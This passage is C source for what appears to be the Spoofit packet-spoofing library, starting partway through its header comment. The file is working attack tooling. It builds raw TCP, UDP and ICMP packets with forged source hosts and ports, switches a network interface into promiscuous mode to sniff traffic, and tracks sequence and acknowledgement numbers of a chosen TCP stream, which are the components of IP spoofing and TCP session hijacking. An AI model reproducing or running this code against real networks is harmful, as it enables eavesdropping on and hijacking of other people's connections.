/*            I used it to be able to write my tools fast and short.      */
/*            Mind you this is only illustrative and can be easily        */
/*            optimised.                                                  */
/*                                                                        */
/*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
/*           Serious advice, comments, statements, greets, always welcome */
/*           flames, moronic 3l33t >/dev/null                             */
/*                                                                        */
/*  Disclaimer - This file is for educational purposes only. I am in      */
/*               NO way responsible for what you do with this file,       */
/*               or any damage you or this file causes.                   */
/*                                                                        */
/*  For whom - People with a little knowledge of TCP/IP, C source code    */
/*             and general UNIX. Otherwise, please keep your hands of,    */
/*             and catch up on those things first.                        */
/*                                                                        */
/*  Limited to - Linux 1.3.X or higher.                                   */
/*               If you know a little about your OS, shouldn't be to hard */
/*               to port.                                                 */
/*                                                                        */
/* Important note - You might have noticed I use non standard packet      */
/*                  header struct's. How come?? Because I started like    */
/*                  that on Sniffit because I wanted to do the            */
/*                  bittransforms myself.                                 */
/*                  Well I got so damned used to them, I keep using them, */
/*                  they are not very different, and not hard to use, so  */
/*                  you'll easily use my struct's without any problem,    */
/*                  this code and the examples show how to use them.      */
/*                  my apologies for this inconvenience.                  */
/*                                                                        */
/* None of this code can be used in commercial software. You are free to  */
/* use it in any other non-commercial software (modified or not) as long  */
/* as you give me the credits for it. You can spread this include file,   */
/* but keep it unmodified.                                                */
/*                                                                        */
/**************************************************************************/
/*                                                                        */
/* Easiest way to understand this library is to look at the use of it, in */
/* the example progs.                                                     */
/*                                                                        */
/**** Sending packets *****************************************************/
/*                                                                        */
/* int open_sending (void)                                                */
/*   Returns a filedescriptor to the sending socket.                      */
/*   close it with close (int filedesc)                                   */
/*                                                                        */
/* void transmit_TCP (int sp_fd, char *sp_data,                           */
/*	              int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,  */
/*                    char *sp_source, unsigned short sp_source_port,     */
/*                    char *sp_dest,unsigned short sp_dest_port,          */
/*                    unsigned long sp_seq, unsigned long sp_ack,         */
/*                    unsigned short sp_flags)                            */
/*   fire data away in a TCP packet                                       */
/*    sp_fd         : raw socket filedesc.                                */
/*    sp_data       : IP options (you should do the padding)              */
/*                    TCP options (you should do the padding)             */
/*                    data to be transmitted                              */
/*                    (NULL is nothing)                                   */
/*                    note that all is optional, and IP en TCP options are*/
/*                    not often used.                                     */
/*                    All data is put after eachother in one buffer.      */
/*    sp_ipoptlen   : length of IP options (in bytes)                     */
/*    sp_tcpoptlen  : length of TCP options (in bytes)                    */
/*    sp_datalen    : amount of data to be transmitted (bytes)            */
/*    sp_source     : spoofed host that"sends packet"                     */
/*    sp_source_port: spoofed port that "sends packet"                    */
/*    sp_dest       : host that should receive packet                     */
/*    sp_dest_port  : port that should receive packet                     */
/*    sp_seq        : sequence number of packet                           */
/*    sp_ack        : ACK of packet                                       */
/*    sp_flags      : flags of packet (URG,ACK,PSH,RST,SYN,FIN)           */
/*                                                                        */
/* void transmit_UDP (int sp_fd, char *sp_data,                           */
/*                    int sp_ipoptlen, int sp_datalen,                    */
/*		      char *sp_source, unsigned short sp_source_port,     */
/*                    char *sp_dest, unsigned short sp_dest_port)         */
/*   fire data away in an UDP packet                                      */
/*    sp_fd         : raw socket filedesc.                                */
/*    sp_data       : IP options                                          */
/*                    data to be transmitted                              */
/*                    (NULL if none)                                      */
/*    sp_ipoptlen   : length of IP options (in bytes)                     */
/*    sp_datalen    : amount of data to be transmitted                    */
/*    sp_source     : spoofed host that"sends packet"                     */
/*    sp_source_port: spoofed port that "sends packet"                    */
/*    sp_dest       : host that should receive packet                     */
/*    sp_dest_port  : port that should receive packet                     */
/*                                                                        */
/**** Receiving packets ***************************************************/
/*                                                                        */
/* int open_receiving (char *rc_device, char mode)                        */
/*   Returns fdesc to a receiving socket                                  */
/*        (if mode: IO_HANDLE don't call this twice, global var           */
/*         rc_fd_abc123 is  initialised)                                  */
/*     rc_device: the device to use e.g. "eth0", "ppp0"                   */
/*                be sure to change DEV_PREFIX accordingly!               */
/*                DEV_PREFIX is the length in bytes of the header that    */
/*                comes with a SOCKET_PACKET due to the network device    */
/*     mode: 0: normal mode, blocking, (read will wait till packet        */
/*           comes, mind you, we are in PROMISC mode)                     */
/*           IO_NONBLOCK: non-blocking mode (read will not wait till      */
/*           usefull for active polling)                                  */
/*           IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/
/*           (IO_HANDLE is not recommended to use, as it should be        */
/*           modified according to own use, and it works bad on heavy     */
/*           traffic continuous monitoring. I needed it once, but left it */
/*           in to make you able to have a look at Signal handled IO,     */
/*           personally I would have removed it, but some thought it      */
/*           doesn't do any harm anyway, so why remove... )               */
/*           (I'm not giving any more info on IO_HANDLE as it is not      */
/*           needed for the example programs, and interested people can   */
/*           easilythey figure the code out theirselves.)                 */
/*           (Besides IO_HANDLE can only be called ONCE in a program,     */
/*           other modes multiple times)                                  */
/*                                                                        */
/* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,           */
/*         	   unsigned char *proto)                                  */
/*        This waits for a packet (mode default) and puts it in buffer or */
/*        returns whether there is a pack or not (IO_NONBLOCK).           */
/*        It returns the packet length if there is one available, else 0  */
/*                                                                        */
/* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,           */
/*                  char *wp_source, unsigned short wp_source_port,       */
/*                  char *wp_dest, unsigned short wp_dest_port,           */
/*	            int wp_flags, int wait_time);                         */
/*   wp_fd: a receiving socket (default or IO_NONBLOCK)                   */
/*   ret_values: pointer to a sp_wait_packet struct, that contains SEQ,   */
/*               ACK, flags, datalen of that packet. For further packet   */
/*               handling see the examples.                               */
/*                  struct sp_wait_packet  {                              */
/*                   	unsigned long seq,ack;                            */
/*                      unsigned short flags;                             */
/*	                unsigned short source_p, dest_p;                  */
/*                      int datalen;                                      */
/*                      };                                                */
/*   wp_source, wp_source_port : sender of packet                         */
/*                               (port=0, any port is okay)               */
/*   wp_dest, wp_dest_port     : receiver of packet                       */
/*                               (port=0, any port is okay)               */
/*   wp_flags: flags that should be present in packet.. (mind you there   */
/*             could be more present, so check on return)                 */
/*             note: if you don't care about flag, use 0                  */
/*   wait_time: if not zero, this function will return -1 if no correct   */
/*              packet has arrived within wait_time secs.                 */
/*              (only works on IO_NONBLOCK socket)                        */
/*                                                                        */
/* void set_filter (char *f_source, unsigned short f_source_port,         */
/*                  char *f_dest, unsigned short f_dest_port)             */
/*        (for use with IO_HANDLE)                                        */
/*        Start the program to watch all trafic from source/port to       */
/*        dest/port. This enables the updating of global data. Can        */
/*        be called multiple times.                                       */
/*                                                                        */
/* void close_receiving (void)                                            */
/*           When opened a IO_HANDLE mode receiving socket close it with  */
/*           this.                                                        */
/*                                                                        */
/**** Global DATA (IO_HANDLE mode) ****************************************/
/*                                                                        */
/* When accessing global data, copy the values to local vars and then use */
/* them. Reduce access time to a minimum.                                 */
/* Mind you use of this is very limited, if you are a novice on IO, just  */
/* ignore it, the other functions are good enough!). If not, rewrite the  */
/* handler for your own use...                                            */
/*                                                                        */
/* sig_atomic_t SP_DATA_BUSY                                              */
/*        Put this on NON-ZERO when accesing global data. Incoming        */
/*        packets will be ignored then, data can not be overwritten.      */
/*                                                                        */
/* unsigned long int CUR_SEQ, CUR_ACK;                                    */
/*        Last recorded SEQ and ACK number of the filtered "stream".      */
/*        Before accessing this data set SP_DATA_BUSY non-zero,           */
/*        afterward set it back to zero.                                  */
/*                                                                        */
/* unsigned long int CUR_COUNT;                                           */
/*        increased everytime other data is updated                       */
/*                                                                        */
/* unsigned int CUR_DATALEN;                                              */
/*	  Length of date in last TCP packet			          */
/*                                                                        */
/**************************************************************************/

#include "sys/socket.h"       /* includes, what would we do without them  */
#include "netdb.h"
#include "stdlib.h"
#include "unistd.h"
#include "stdio.h"
#include "errno.h"
#include "netinet/in.h"
#include "netinet/ip.h"
#include "linux/if.h"
#include "sys/ioctl.h"
#include "sys/types.h"
#include "signal.h"
#include "fcntl.h"

#define	SPOOFIT_VERSION		3

#undef  DEBUG
#define IP_VERSION 	4                 /* keep y'r hands off...         */
#define MTU 		1500
#define IP_HEAD_BASE 	20                /* using fixed lengths to send   */
#define TCP_HEAD_BASE 	20                /* no options etc...             */
#define UDP_HEAD_BASE 	8                 /* Always fixed                  */
#define ICMP_HEAD_BASE	8

#define IO_HANDLE	1
#define IO_NONBLOCK	2

int DEV_PREFIX = 9999;
sig_atomic_t WAIT_PACKET_WAIT_TIME=0;

/**** IO_HANDLE ************************************************************/
int rc_fd_abc123;
sig_atomic_t RC_FILTSET=0;
char rc_filter_string[50];                       /* x.x.x.x.p-y.y.y.y.g  */

sig_atomic_t SP_DATA_BUSY=0;
unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
unsigned int CUR_DATALEN;
unsigned short CUR_FLAGS;
/***************************************************************************/

struct sp_wait_packet
{
	unsigned long seq,ack;
	unsigned short flags;
	unsigned short source_p, dest_p;
	int datalen;
};

/* Code from Sniffit - BTW my own program.... no copyright violation here */
#define URG 32       /* TCP flags */
#define ACK 16
#define PSH 8
#define RST 4
#define SYN 2
#define FIN 1

struct PACKET_info
{
	int len, datalen;
	unsigned long int seq_nr, ACK_nr;
	u_char FLAGS;
};

struct IP_header                        /* The IPheader (without options) */
{
        unsigned char verlen, type;
        unsigned short length, ID, flag_offset;
        unsigned char TTL, protocol;
        unsigned short checksum;
        unsigned long int source, destination;
};

struct TCP_header                     /* The TCP header (without options) */
{
        unsigned short source, destination;
        unsigned long int seq_nr, ACK_nr;
        unsigned short offset_flag, window, checksum, urgent;
};

struct UDP_header                                      /* The UDP header */
{
        unsigned short source, destination;
        unsigned short length, checksum;
};

struct ICMP_header                                   /* The ICMP header */
{
        unsigned char type, code;
        unsigned short checksum;
	unsigned long xtra_field;
};

struct pseudo_IP_header          /* The pseudo IP header (checksum calc) */
{
        unsigned long int source, destination;
	char zero_byte, protocol;
	unsigned short TCP_UDP_len;
};

/* data structure for argument passing  */

struct sp_data_exchange	{
	int fd;                                /* Sh!t from transmit_TCP  */
	char *data;
	int datalen;
	char *source; unsigned short source_port;
	char *dest;   unsigned short dest_port;
	char *xtra;   unsigned short xtra_port;        /* needed for ICMP */
        unsigned long seq, ack;
        unsigned short flags;

	char *buffer;               /* work buffer */

        int IP_optlen;		   /* IP options length in bytes  */
        int TCP_optlen;		   /* TCP options length in bytes */
        unsigned char ICMP_type, ICMP_code;
	};

/**************** all functions  *******************************************/
void transmit_TCP (int fd, char *sp_data,
		     	   int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
		           char *sp_source, unsigned short sp_source_port,
			   char *sp_dest, unsigned short sp_dest_port,
                           unsigned long sp_seq, unsigned long sp_ack,
                           unsigned short sp_flags);

void transmit_UDP (int sp_fd, char *sp_data,
			   int  ipoptlen, int sp_datalen,
		           char *sp_source, unsigned short sp_source_port,
			   char *sp_dest, unsigned short sp_dest_port);

int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int);

static unsigned long sp_getaddrbyname(char *);

int open_sending (void);
int open_receiving (char *, char);
void close_receiving (void);

void sp_send_packet (struct sp_data_exchange *, unsigned char);
void sp_fix_TCP_packet (struct sp_data_exchange *);
void sp_fix_UDP_packet (struct sp_data_exchange *);
void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
unsigned short in_cksum(unsigned short *, int );

void rc_sigio (int);
void set_filter (char *, unsigned short, char *, unsigned short);

/********************* let the games commence ****************************/

static unsigned long sp_getaddrbyname(char *sp_name)
{
struct hostent *sp_he;
int i;

if(isdigit(*sp_name))
  return inet_addr(sp_name);

for(i=0;i<100;i++)
     {
     if(!(sp_he = gethostbyname(sp_name)))
	{printf("WARNING: gethostbyname failure!\n");
	sleep(1);
	if(i>=3)       /* always a retry here in this kind of application */
	   printf("Coudn't resolv hostname."), exit(1);
	}
     else break;
     }
return sp_he ? *(long*)*sp_he->h_addr_list : 0;
}

int open_sending (void)
{
struct protoent *sp_proto;
int sp_fd;
int dummy=1;

/* they don't come rawer */
if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1)
        perror("Couldn't open Socket."), exit(1);

#ifdef DEBUG
	printf("Raw socket ready\n");
#endif
return sp_fd;
}

void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
{
int sp_status;
struct sockaddr_in sp_server;
struct hostent *sp_help;
int HEAD_BASE;

/* Construction of destination */
bzero((char *)&sp_server, sizeof(struct sockaddr));
sp_server.sin_family = AF_INET;
sp_server.sin_addr.s_addr = inet_addr(sp->dest);
if (sp_server.sin_addr.s_addr == (unsigned int)-1)
        {                      /* if target not in DOT/number notation */
        if (!(sp_help=gethostbyname(sp->dest)))
          fprintf(stderr,"unknown host %s\n", sp->dest), exit(1);
        bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length);
        };

switch(proto)
   	{
	case 1: HEAD_BASE = ICMP_HEAD_BASE;  break;                /* ICMP */
        /* Warning TCP options were not added - BUGFIX */
	case 6: HEAD_BASE = TCP_HEAD_BASE+sp->TCP_optlen;  break;  /* TCP  */
	case 17: HEAD_BASE = UDP_HEAD_BASE; break;                 /* UDP  */
	default: exit(1); break;
	};
sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0,
			(struct sockaddr *)&sp_server,sizeof(struct sockaddr));
if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen)
        {
        if (sp_status < 0)
          perror("Sendto"), exit(1);
        printf("hmm... Only transmitted %d of %d bytes.\n", sp_status,
						sp->datalen+HEAD_BASE);
        };
#ifdef DEBUG
	printf("Packet transmitted...\n");
#endif
}

void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
{
struct IP_header *sp_help_ip;
int HEAD_BASE;

switch(proto)
   	{
	case 1: HEAD_BASE = ICMP_HEAD_BASE;  break;                /* ICMP */
	case 6: HEAD_BASE = TCP_HEAD_BASE;  break;                 /* TCP  */
	case 17: HEAD_BASE = UDP_HEAD_BASE; break;                 /* UDP  */
	default: exit(1); break;
	};

sp_help_ip = (struct IP_header *) (sp->buffer);
sp_help_ip->checksum=0;
sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
sp_help_ip->type = 0;
sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen);
sp_help_ip->ID = htons(12545);                                  /* TEST */
sp_help_ip->flag_offset = 0;
sp_help_ip->TTL = 69;
sp_help_ip->protocol = proto;
sp_help_ip->source = sp_getaddrbyname(sp->source);
sp_help_ip->destination =  sp_getaddrbyname(sp->dest);
sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer),
						IP_HEAD_BASE+sp->IP_optlen);
#ifdef DEBUG
	printf("IP header fixed...\n");
#endif
}

void sp_fix_TCP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct TCP_header *sp_help_tcp;
struct pseudo_IP_header *sp_help_pseudo;
int i;

for(i=0;i<MTU;i++)
  {sp_pseudo_ip_construct[i]=0;}

sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags);
sp_help_tcp->seq_nr = htonl(sp->seq);
sp_help_tcp->ACK_nr = htonl(sp->ack);
sp_help_tcp->source = htons(sp->source_port);
sp_help_tcp->destination = htons(sp->dest_port);
sp_help_tcp->window = htons(0x7c00);             /* dummy for now 'wujx' */

sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination =  sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 6;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen);

memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE);
sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
				  sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen);
#ifdef DEBUG
	printf("TCP header fixed...\n");
#endif
}

void transmit_TCP (int sp_fd, char *sp_data,
			   int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
		           char *sp_source, unsigned short sp_source_port,
			   char *sp_dest, unsigned short sp_dest_port,
                           unsigned long sp_seq, unsigned long sp_ack,
                           unsigned short sp_flags)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
	memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);

if (sp_tcpoptlen!=0)
	memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
			                    sp_data+sp_ipoptlen,sp_tcpoptlen);
if (sp_datalen!=0)
	memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
			sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);

sp_struct.fd          = sp_fd;
sp_struct.data        = sp_data;
sp_struct.datalen     = sp_datalen;
sp_struct.source      = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest        = sp_dest;
sp_struct.dest_port   = sp_dest_port;
sp_struct.seq         = sp_seq;
sp_struct.ack         = sp_ack;
sp_struct.flags       = sp_flags;
sp_struct.buffer      = sp_buffer;
sp_struct.IP_optlen   = sp_ipoptlen;
sp_struct.TCP_optlen  = sp_tcpoptlen;

sp_fix_TCP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 6);
sp_send_packet(&sp_struct, 6);
}

void sp_fix_UDP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct UDP_header *sp_help_udp;
struct pseudo_IP_header *sp_help_pseudo;
int i;

for(i=0;i<MTU;i++)
  {sp_pseudo_ip_construct[i]=0;}

sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

sp_help_udp->source = htons(sp->source_port);
sp_help_udp->destination = htons(sp->dest_port);
sp_help_udp->length =  htons(sp->datalen+UDP_HEAD_BASE);

sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination =  sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 17;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE);

memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE);
sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
						     sp->datalen+12+UDP_HEAD_BASE);
#ifdef DEBUG
	printf("UDP header fixed...\n");
#endif
}

void transmit_UDP (int sp_fd, char *sp_data,
			   int sp_ipoptlen, int sp_datalen,
		           char *sp_source, unsigned short sp_source_port,
			   char *sp_dest, unsigned short sp_dest_port)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);

if (sp_ipoptlen!=0)
	memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_data!=NULL)
	memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
					     sp_data+sp_ipoptlen,sp_datalen);
sp_struct.fd          = sp_fd;
sp_struct.data        = sp_data;
sp_struct.datalen     = sp_datalen;
sp_struct.source      = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest        = sp_dest;
sp_struct.dest_port   = sp_dest_port;
sp_struct.buffer      = sp_buffer;
sp_struct.IP_optlen   = sp_ipoptlen;
sp_struct.TCP_optlen  = 0;

sp_fix_UDP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 17);
sp_send_packet(&sp_struct, 17);
}

void sp_fix_ICMP_packet (struct sp_data_exchange *sp)
{
struct ICMP_header *sp_help_icmp;
struct IP_header *sp_help_ip;
struct TCP_header *sp_help_tcp;
int i;

sp_help_icmp = (struct ICMP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_ip = (struct IP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen+
								ICMP_HEAD_BASE);
sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen+
						    ICMP_HEAD_BASE+IP_HEAD_BASE);

sp_help_icmp->type = sp->ICMP_type;
sp_help_icmp->code = sp->ICMP_code;
sp_help_icmp->checksum  = htons(0);
sp_help_icmp->xtra_field= htonl(0);

sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
sp_help_ip->type = 0;
sp_help_ip->length = htons(500);
sp_help_ip->ID = htons(12545);                                  /* TEST */
sp_help_ip->flag_offset = 0;
sp_help_ip->TTL = 69;
sp_help_ip->protocol = 6;
sp_help_ip->source = sp_getaddrbyname(sp->dest);
sp_help_ip->destination =  sp_getaddrbyname(sp->xtra);
sp_help_ip->checksum=0x340e;

sp_help_tcp->offset_flag = htons( ((TCP_HEAD_BASE/4)<<12) | ACK);
sp_help_tcp->seq_nr = htonl(0x45fe5091);
sp_help_tcp->ACK_nr = htonl(0x345560ef);
sp_help_tcp->source = htons(sp->dest_port);
sp_help_tcp->destination = htons(sp->xtra_port);
sp_help_tcp->window = htons(0x7c00);             /* dummy for now 'wujx' */

sp_help_icmp->checksum=in_cksum((unsigned short *) sp_help_icmp,
				  ICMP_HEAD_BASE+IP_HEAD_BASE+64);
#ifdef DEBUG
	printf("ICMP header fixed...\n");
#endif
}

/* in a raw, unfinished state... */
void transmit_ICMP (int sp_fd, char *sp_data,
			   int sp_ipoptlen, int sp_datalen,
		           char *sp_source,
			   char *sp_dest, unsigned short sp_dest_port,
			   char *sp_unr_d, unsigned short sp_unr_d_port,
			   unsigned char sp_type, unsigned char sp_code)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
	memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);

if (sp_datalen!=0)
	memcpy(sp_buffer+IP_HEAD_BASE+ICMP_HEAD_BASE+sp_ipoptlen,
			sp_data+sp_ipoptlen,sp_datalen);

sp_struct.fd          = sp_fd;
sp_struct.data        = sp_data;
sp_struct.datalen     = IP_HEAD_BASE+64;          /* CHANGE LATER!!!! */
sp_struct.source      = sp_source;
sp_struct.xtra        = sp_unr_d;
sp_struct.xtra_port   = sp_unr_d_port;
sp_struct.dest        = sp_dest;
sp_struct.dest_port   = sp_dest_port;
sp_struct.buffer      = sp_buffer;
sp_struct.IP_optlen   = sp_ipoptlen;
sp_struct.ICMP_type   = sp_type;
sp_struct.ICMP_code   = sp_code;

sp_fix_ICMP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 1);
sp_send_packet(&sp_struct, 1);
}

/* This routine stolen from ping.c -- HAHAHA!*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;

while (nleft > 1)
        {
        sum += *w++;
        nleft -= 2;
        }
if (nleft == 1)
        {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
        }
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}

/************************* Receiving department  ****************************/

int open_receiving (char *rc_device, char mode)
{
int or_fd;
struct sigaction rc_sa;
int fcntl_flag;
struct ifreq ifinfo;
char test;

/* create snoop socket and set interface promisc */
if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)
        perror("Couldn't open Socket."), exit(1);
strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)
	perror("Couldn't get flags."), exit(1);
ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)
	perror("Couldn't set flags. (PROMISC)"), exit(1);

if(mode&IO_HANDLE)
	{		/* install handler */
	rc_sa.sa_handler=rc_sigio;        /* we don't use signal()        */
	sigemptyset(&rc_sa.sa_mask);      /* because the timing window is */
	rc_sa.sa_flags=0;                 /* too big...                   */
	sigaction(SIGIO,&rc_sa,NULL);
	}

if(fcntl(or_fd,F_SETOWN,getpid())<0)
	perror("Couldn't set ownership"), exit(1);

if(mode&IO_HANDLE)
	{
	if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
		perror("Couldn't get FLAGS"), exit(1);
	if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)
		perror("Couldn't set FLAGS"), exit(1);
        rc_fd_abc123=or_fd;
	}
else
	{
	if(mode&IO_NONBLOCK)
		{
		if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
			perror("Couldn't get FLAGS"), exit(1);
		if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)
			perror("Couldn't set FLAGS"), exit(1);
		};
	};

#ifdef DEBUG
	printf("Reading socket ready\n");
#endif
return or_fd;
}

/* returns 0 when no packet read!  */
int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned  char *proto)
{
char help_buffer[MTU];
int pack_len;
struct IP_header *gp_IPhead;

pack_len = read(rc_fd,help_buffer,1500);
if(pack_len<0)
	{
	if(errno==EWOULDBLOCK)
		{pack_len=0;}
	else
		{perror("Read error:"); exit(1);}
	};
if(pack_len>0)
	{
	pack_len -= DEV_PREFIX;
	memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
	gp_IPhead = (struct IP_header *) buffer;
	if(proto != NULL)
		*proto = gp_IPhead->protocol;
	if(TCP_UDP_start != NULL)
		*TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;
	}
return pack_len;
}

void wait_packet_timeout (int sig)
{
alarm(0);
WAIT_PACKET_WAIT_TIME=1;
}

int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
                char *wp_source, unsigned short wp_source_port,
                char *wp_dest, unsigned short wp_dest_port, int wp_flags,
		int wait_time)
{
char wp_buffer[1500];
struct IP_header *wp_iphead;
struct TCP_header *wp_tcphead;
unsigned long wp_sourcel, wp_destl;
int wp_tcpstart;
char wp_proto;

wp_sourcel=sp_getaddrbyname(wp_source);
wp_destl=sp_getaddrbyname(wp_dest);

WAIT_PACKET_WAIT_TIME=0;
if(wait_time!=0)
	{
	signal(SIGALRM,wait_packet_timeout);
	alarm(wait_time);
	}

while(1)
  {
  while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0)
	{
	if (WAIT_PACKET_WAIT_TIME!=0)	{alarm(0); return -1;}
	};
  if(wp_proto == 6)
    {
    wp_iphead= (struct IP_header *) wp_buffer;
    wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
    if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) )
      {
      if( ((ntohs(wp_tcphead->source)==wp_source_port)||(wp_source_port==0)) &&
          ((ntohs(wp_tcphead->destination)==wp_dest_port)||(wp_dest_port==0)) )
        {
        if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )
          {
          ret_values->source_p=ntohs(wp_tcphead->source);
          ret_values->dest_p=ntohs(wp_tcphead->destination);
          ret_values->seq=ntohl(wp_tcphead->seq_nr);
          ret_values->ack=ntohl(wp_tcphead->ACK_nr);
          ret_values->flags=ntohs(wp_tcphead->offset_flag)&
						(URG|ACK|PSH|FIN|RST|SYN);
          ret_values->datalen = ntohs(wp_iphead->length) -
                           ((wp_iphead->verlen & 0xF) << 2) -
                            ((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10);
          alarm(0);
          return 0;
          }
        }
      }
    }
  }
/*impossible to get here.. but anyways*/
alarm(0); return -1;
}


void close_receiving (void)
{
close(rc_fd_abc123);
}

void rc_sigio (int sig)                     /* Packet handling routine */
{
char rc_buffer[1500];
char packet_id [50];
unsigned char *rc_so, *rc_dest;
struct IP_header *rc_IPhead;
struct TCP_header *rc_TCPhead;
int pack_len;

if(RC_FILTSET==0) return;

if(SP_DATA_BUSY!=0)              /* skip this packet */
	return;

pack_len = read(rc_fd_abc123,rc_buffer,1500);
rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
if(rc_IPhead->protocol!=6) return;                          /* if not TCP */
rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2));

rc_so   = (unsigned char *) &(rc_IPhead->source);
rc_dest = (unsigned char *) &(rc_IPhead->destination);
sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
	      rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source),
	      rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination));

if(strcmp(packet_id,rc_filter_string)==0)
	{
	SP_DATA_BUSY=1;
	CUR_SEQ = ntohl(rc_TCPhead->seq_nr);
	CUR_ACK = ntohl(rc_TCPhead->ACK_nr);
        CUR_FLAGS = ntohs(rc_TCPhead->offset_flag);
	CUR_DATALEN = ntohs(rc_IPhead->length) -
		      ((rc_IPhead->verlen & 0xF) << 2) -
                      ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10);
	CUR_COUNT++;
	SP_DATA_BUSY=0;
	}
}
